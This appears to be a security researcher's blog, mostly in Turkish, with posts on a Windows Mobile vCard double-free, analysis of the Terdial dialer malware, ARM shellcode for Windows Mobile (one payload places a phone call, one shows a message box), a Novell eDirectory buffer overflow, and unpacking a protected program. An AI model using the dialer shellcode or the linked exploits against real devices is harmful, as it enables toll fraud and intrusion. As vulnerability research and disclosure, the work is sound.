magnify
formats

Alert! First Double Free Vulnerability in Windows Mobile

Vendor:  Microsoft

Product:  Windows Mobile

Vulnerability:  Double Free

Tested vulnerable versions:  Windows Mobile 6.1 and 6.5

Tested on :  HTC Touch (WM 6.1), HTC Touch2 (WM 6.5)

CREDITS:  Celil Ünüver from SecurityArchitect.Org

CONTACT:  celilunuver[n0sp4m]gmail.com

Vulnerability Details and Analysis:

The vulnerability is a double free. It occurs when multiple buffers are allocated to handle a very large Name (N) field in the vCard (.vcf) file. This file can be received by MMS or Bluetooth.
After opening the malformed vcf file, it gives an error dialog. Then it frees the buffers and crashes;

pimutil.dll:
BA

*As you see that the pointer at [R4 + 0x14] is passed to SysFreeString() twice.

CRASH

*The code at location 0271E4F4  is attempting to extract the ‘size’ from the heap chunk header.

Exploiting:
Double Frees are usually exploitable but in this case it doesnt look simple. The calls to free() occurs in immediate succession. WinCE supports multi-threading, but this is an extremely hard case to try.. I do not have deep knowledge about WinCE heap structures. So it may be denial of service but I think it can be possible to exploit this vulnerability. (impossible is nothing ! :P)

Proof of Concept:
www.securityarchitect.org/exploits/wmpoc.vcf

Vendor-Patch Status: It’s 0day :]

Actually I contacted Microsoft but they said ; “we fixed this issue on WM 6.5 version and we can not publish a bulletin for it” But i m sure that it is not fixed on 6.5 version. I’ve tested it on several devices which have WM 6.5. Also I’ve tested it on WM 6.5 Professional Emulator (which can be downloaded from MS Pages) , it crashes too….

Last Words: We are not dead , just busy !

Greets to: SecurityArchitect Members (Ulascan) , Hellcode, murderkey …

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
6 Comments  comments 
formats

Analysis of a mobile malware (terdial)

Tarih 03 Ekim 2010 yazar içinde Genel

Language: English
click: mobile.pdf

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Mobil Malware Analizi

Geçen günlerde , PhoneCall shellcode unu yazdıktan sonra acaba piyasada dialer özelliği taşıyan bir malware var mı derken , karşıma 3D Anti Terorist oyunuyla yayılan Terdial zararlı yazılımı çıktı.  .NET Framework ile yazılmış. (msil assembly) Bu zararlı yazılımı bulmam gerçekten çok zor oldu. Piyasadan silinmiş çünkü.  (Thanks to Marco A. De Felice for sharing infected file with me :] ) Zararlı yazılımı bulduktan sonra  .cab dosyasını , oyunu kurmak için çalıştırdım.

Zararlı yazılım öncelikle kendine registry’de “Status” isimli bir subkey açarak işe başlıyor. bu subkey’de sistem tarih ve saatini alarak kendine ne kadar sıklıkla arama yapacağını belirliyor ve zararlı yazılımı “smart32.exe” olarak windows klasörü altına kopyalıyor.

Registry:

reg

Copy:

mob

Belirli aralıklarla smart32.exe sistemde çalışıyor ve şu uluslararası numaralar aranıyor;

“+8823460777”

“+17675033611”

“+88213213214”

“+25240221601”

“+2392283261”

“+881842011123”

mob2

Bir kaç hafta birşeyler paylaşamayabilirim zira hayat baya yoğun bu aralar benim için..  bir sonraki yazımda görüşmek üzere ;]

EDIT! : windows klasörüne Microsoft.WindowsMobile.Telephony isimli bir dll dosyası da kopyalıyor gözden kaçmış…  phone.dll dosyasını ve içindeki PhoneMakeCall apisini çağırmak için kullanıyor ;]

Celil Ünüver

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
3 Comments  comments 
formats

Dikkat! Windows Mobile Phone Call (dialer) Shellcode

Tekrar selamlar, hepimiz 56k modemler ile internete bağlandığımız dönemleri hatırlarız… o dönemleri bilenler “dialer” zararlı programlarını da bilirler … 900’lü vb. hatlara bağlanıp hattın sahibine parayı kazandıran bulaştığı bilgisayarın sahibine de telefon faturasını giydiren programlar 🙂
Bu shellcode’u yazınca aklıma ilk olarak “mobil dialer” olayı geldi 🙂 sanırım ilerleyen günlerde mobil cihazlar önem kazandıkça mobil malware vb. sorunlarla sık sık karşılaşacağız…
Resim 1: Shellcode’u çalıştırmadan önce;

first

Resim 2: Shellcode çalıştıktan sonra:
running

Assembly code

EXPORT start
AREA .text, CODE
start
ldr R12, =0x3f6272c
adr r0, lib
mov lr, pc
mov pc, r12
ldr r12, =0x2e806dc
adr r0, num
mov r3, #0
mov r2, #0
mov r1, #0
mov lr, pc
mov pc, r12

lib dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0
num dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0
ALIGN
END

———->>> C++ File with ASM code

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
1 Comment  comments 
formats

Windows Mobile Shellcode (ARM Assembly)

Selamlar, mobile/gömülü sistemler üzerine çeşitli paylaşımlar yapacağımızın haberini önceden vermiştim. Bu yazıda Windows Mobile için yazdığım messagebox shellcode’unu sizinle paylaşacağım.

Device: HTC Touch2
System: Windows Mobile 6.5 TR (WinCE 5.0.2)

/*
Coded by Celil Ünüver from SecurityArchitect

EXPORT start
AREA .text, CODE
start
eor r0, r0, r0
eor r1, r1, r1
eor r2, r2, r2
eor r3, r3, r3
ldr R12, =0x3f6272c
adr r0, lib
mov lr, pc
mov pc, r12
ldr r12, =0x3f7c15c
mov r0, #0
adr r1, mes
adr r2, mes
mov R3, #0
mov lr, pc
mov pc, r12

lib dcb “c”,0,”o”,0,”r”,0,”e”,0,”d”,0,”l”,0,”l”,0,”.”,0,”d”,0,”l”,0,”l”,0,0,0
mes dcb “o”,0,”w”,0,”n”,0,”z”,0,0,0
ALIGN
END
*/

#include
#include

int shellcode[] =
{
0xE0200000,
0xE0211001,
0xE0222002,
0xE0233003,
0xE59FC048,
0xE28F0020,
0xE1A0E00F,
0xE1A0F00C,
0xE59FC03C,
0xE3A00000,
0xE28F1024,
0xE28F2020,
0xE3A03000,
0xE1A0E00F,
0xE1A0F00C,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
0x0077006F,
0x007A006E,
0x00000000,
0x03F6272C,
0x03F7C15C,
};

int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
((void (*)(void)) & shellcode)();

return 0;
}

P.S: Fonksiyon adresleri telefondan telefona değişebilir , o yüzden test etmek isteyenler Windows Mobile Emulator’de fonksiyon adreslerini değiştirip deneyebilirler.

Daha düzgün biçimde koda ulaşmak için ; tıklayın

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Bir Güvenlik Zaafiyetinin Analizi

1-) Güvenlik Bildirisi:

Uygulama: Novell eDirectory 8.8 SP5
Etkilenen Versiyonlar: 8.8 SP5 ve önceki sürümler
Firma: Novell ( www.novell.com )
Risk Seviyesi: Orta
BID: 36815 ( http://www.securityfocus.com/bid/36815 )
Orjinal Bildiri: http://www.securityarchitect.org/advisories/securityarchitect-003.txt
Yayınlanma Tarihi: 26 Ekim 2009
Referans: Celil Ünüver , SecurityArchitect

2-) Güvenlik Zaafiyeti:

Novell eDirectory’ deki bu güvenlik zaafiyeti Dhost süreciyle ilgili bir sorundur. Bu
sorun ara bellek taşması (stack buffer overflow) güvenlik zaafiyetine sebebiyet
vermektedir. Saldırgan sunucuya kötü niyetli bir istek yollayarak bu zaafiyeti
tetikleyebilir ve sonucunda sistemde gelişigüzel (zararlı) kod çalıştırabilir.

3-) Yama Durumu:

Bu açık 26 Ekim 2009 tarihinde 0-day olarak yayınlanmıştır. Firma gerekli yamaları 31
Mayıs 2010 tarihinde yayınlamıştır.

4-) Güvenlik Zaafiyetinin Analizi:

Novell eDirectory Dhost servisi , modül yüklemek , kaldırmak ve modül hakkında bilgi
almak için belli adreslere istek yollamaktadır. Sistemdeki mevcut modüllerin ismini
kendisi atamaktadır. Aşağıdaki resimde modül listesi ve durumları gözükmektedir.
Action kısmındaki simgelere tıkladığımızda modülü aktif etmekte ya da aktifse deaktif
etmektedir. Örneğin simgesinden de anlaşılacağı gibi Wan Traffic Manager Modülü
pasif durumdadır , simgesine tıkladığımızda “https://localhost:8030/dhost/modules?
L:wtm.dlm” adresine “GET” isteği göndererek modülü aktif etmektedir. Aynı şekilde
modules?U: parametresi ile deaktif etmekte ve modules?I: parametresine gönderilen
istekle de modül hakkında bilgi vermektedir. Zaafiyet burada modül ismi olarak uzun
bir argüman girildiğinde ortaya çıkmaktadır.
modules

Dhost uygulamasını disassembly edip LoadModule subroutinelerinden birini
incelediğimizde zaafiyetin sebebini görmekteyiz ;

.text:00408000 ; LMLoadModule(x,x,x,x,x)+C3#
.text:00408000
..........
..........
..........
.text:0040802D push offset aS_dlm ; "%s.dlm"
.text:00408032 lea eax, [ebp+var_24]
.text:00408035 push eax ; char *
.text:00408036 call ds:sprintf

Görüldüğü gibi Dhost uygulamasında kontrolsüz şekilde sprintf fonksiyonu
kullanılmıştır. Fonksiyon modül isminin uzunluğunu kontrol etmektedir , uzun bir modül
ismi sisteme gönderildiğinde ara bellek taşması sorununa sebebiyet verecektir.

5-) PoC Exploit:

http://www.securityarchitect.org/exploits/novelbof.txt

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

ARM Assembly

Bu aralar ARM ile haşır neşir olmaktayım… Aslında pek bir farkı yok x86 assemblyden. Bu yazıda arm assembly ile windows mobile’da bir messagebox nasıl çağırılır onu göstereyim.


IMPORT MessageBoxW
EXPORT start
AREA .text, CODE
start
mov R0, #0
ldr R1, =secmes
ldr R2, =sectit
mov R3, #0
bl MessageBoxW
ALIGN
secmes dcb "S",0,"E",0,"C",0,"A",0,"R",0,"C",0,"H",0,0,0
sectit dcb "D",0,"e",0,"n",0,"e",0,"m",0,"e",0,0,0

END

Bazı komutlar (instructions) göreceğiniz gibi x86 assembly ile aynı. BL , x86 assembly’deki CALL instruction ın karşılığı. B ise JMP ‘ ın… Bunlara ARM’da Branch instructions diyoruz. Neyse yazıyı burda bitiriyorum, bu bir başlangıç olsun çünkü yakında “Embedded / Mobile Security” için güzel paylaşımlar gelecek , takipte olun ;]

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

CONFidence

Bilindigi gibi Mayıs ayında Polonya, Krakow’da duzenlenen CONFidence konferansında Ulaşcan Aytolun ile beraber “Analysis of Software Vulnerabilities” isimli bir sunum verdim.

Konferansta stack overflow , command injection açıklarından bahsetttik. Aynı zaman da daha önce bulduğum ve yayınladığımda 0-day olan Novell eDirectory’deki buffer overflow açığının analizini yaptık.

Gerçekten alanında sağlam çok iyi konuşmacılar vardı bu konferansta ImmunitySec’den , Zynamics’den vs… Dan Kaminsky normal bir insan değil onu söyleyeyim.  Domuz eti yemediğimden dolayı israilli iki konuşmacıyla yakın olduk.  siyasi sorunlarımız olmasına rağmen Ortadoğu’lu olmak bizi orda yakınlaştırdı sanırım :]  Bir tanesi gerçekten daha önce underground’dan tanıdığım sağlam bir blackhat’di.

Velhasıl güzel bir anı oldu bizim için. Konferansdan ziyade Krakow gerçekten mükemmel bir şehir. Görülmesi gereken bir yer..

İnşallah kafamdaki bir kaç yeni konuyu yazıya dökebilirsem  yeni konferanslara doğru yol alacağız umarım…

CONFidence
Celil Ünüver , Ulaşcan Aytolun

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
1 Comment  comments 
formats

Unpacking

31.07.2010
Geçmişte çalıştığım birisinin mailiyle güne başladım.Geçmişte çalıştığım birisinin mailiyle güne başladım.Bir programı inceleyip nereye bağlandığını , veriyi nereden çektiğini bilmek istiyordu.Wireshark açıp bak dediğimde programın çalışmadığını söyledi, tamam yolla dedim.Evet program çalışmıyordu (lisans vb korumalar) yani wireshark bu haliyle doğal olarak işe yaramazdı :]
ida
Eski günleri yad edip , arşivden PEiD , OllyDmp , ImpRec i çıkardım :]
Peid , programın aspack ile packlendiğini gösteriyordu. (Bad choice!!)
90lardan kalma ESP trick’iyle Oep’i (Original Entry Point) bulup programı unpack ettim.
Eski ve bilinen bir yöntem , hakkında türkçe döküman dahi mevcut.
Bu yüzden üstünden geçerek yaptığım işlemlerden bahsedeyim.
entry point şu şekilde;
olly
Sırasıyla işlemler;
* Step over(f8) PUSHAD
|
|
\ /
Follow ESP in Dump
|
|
\ /
Set a hardware breakpoint (Dump’da takip ettğimiz adrese)
|
|
\ /
f9 (execution)
|
|
\ /
Step to Retn, step into retn (f7), analyse code
|
|
\ /
OllyDump ile Modify (oep) adresini aklımızda tutup, dosyayı dump ediyoruz.
|
|
\ /
ImpRec ile IAT’ı düzeltip dump dosyamızı fixleme işlemi.

..
Sonuç;
Aşağıdaki resimde görüldüğü gibi gerekli bilgiler bulundu ve kişiye gönderildi. Db’ye bağlanıp karşılaştığım bilgiler ise sanırım benim ve hellcode research ile mezara gidecek cinsten.
db

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Hayırlı olsun.

Tarih 30 Ağustos 2010 yazar içinde Genel

Kişisel sitemin , kişisel blog’unu açmış bulunmaktayım.

Güzel paylaşımlar ve hayırlı olması dileğiyle…

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments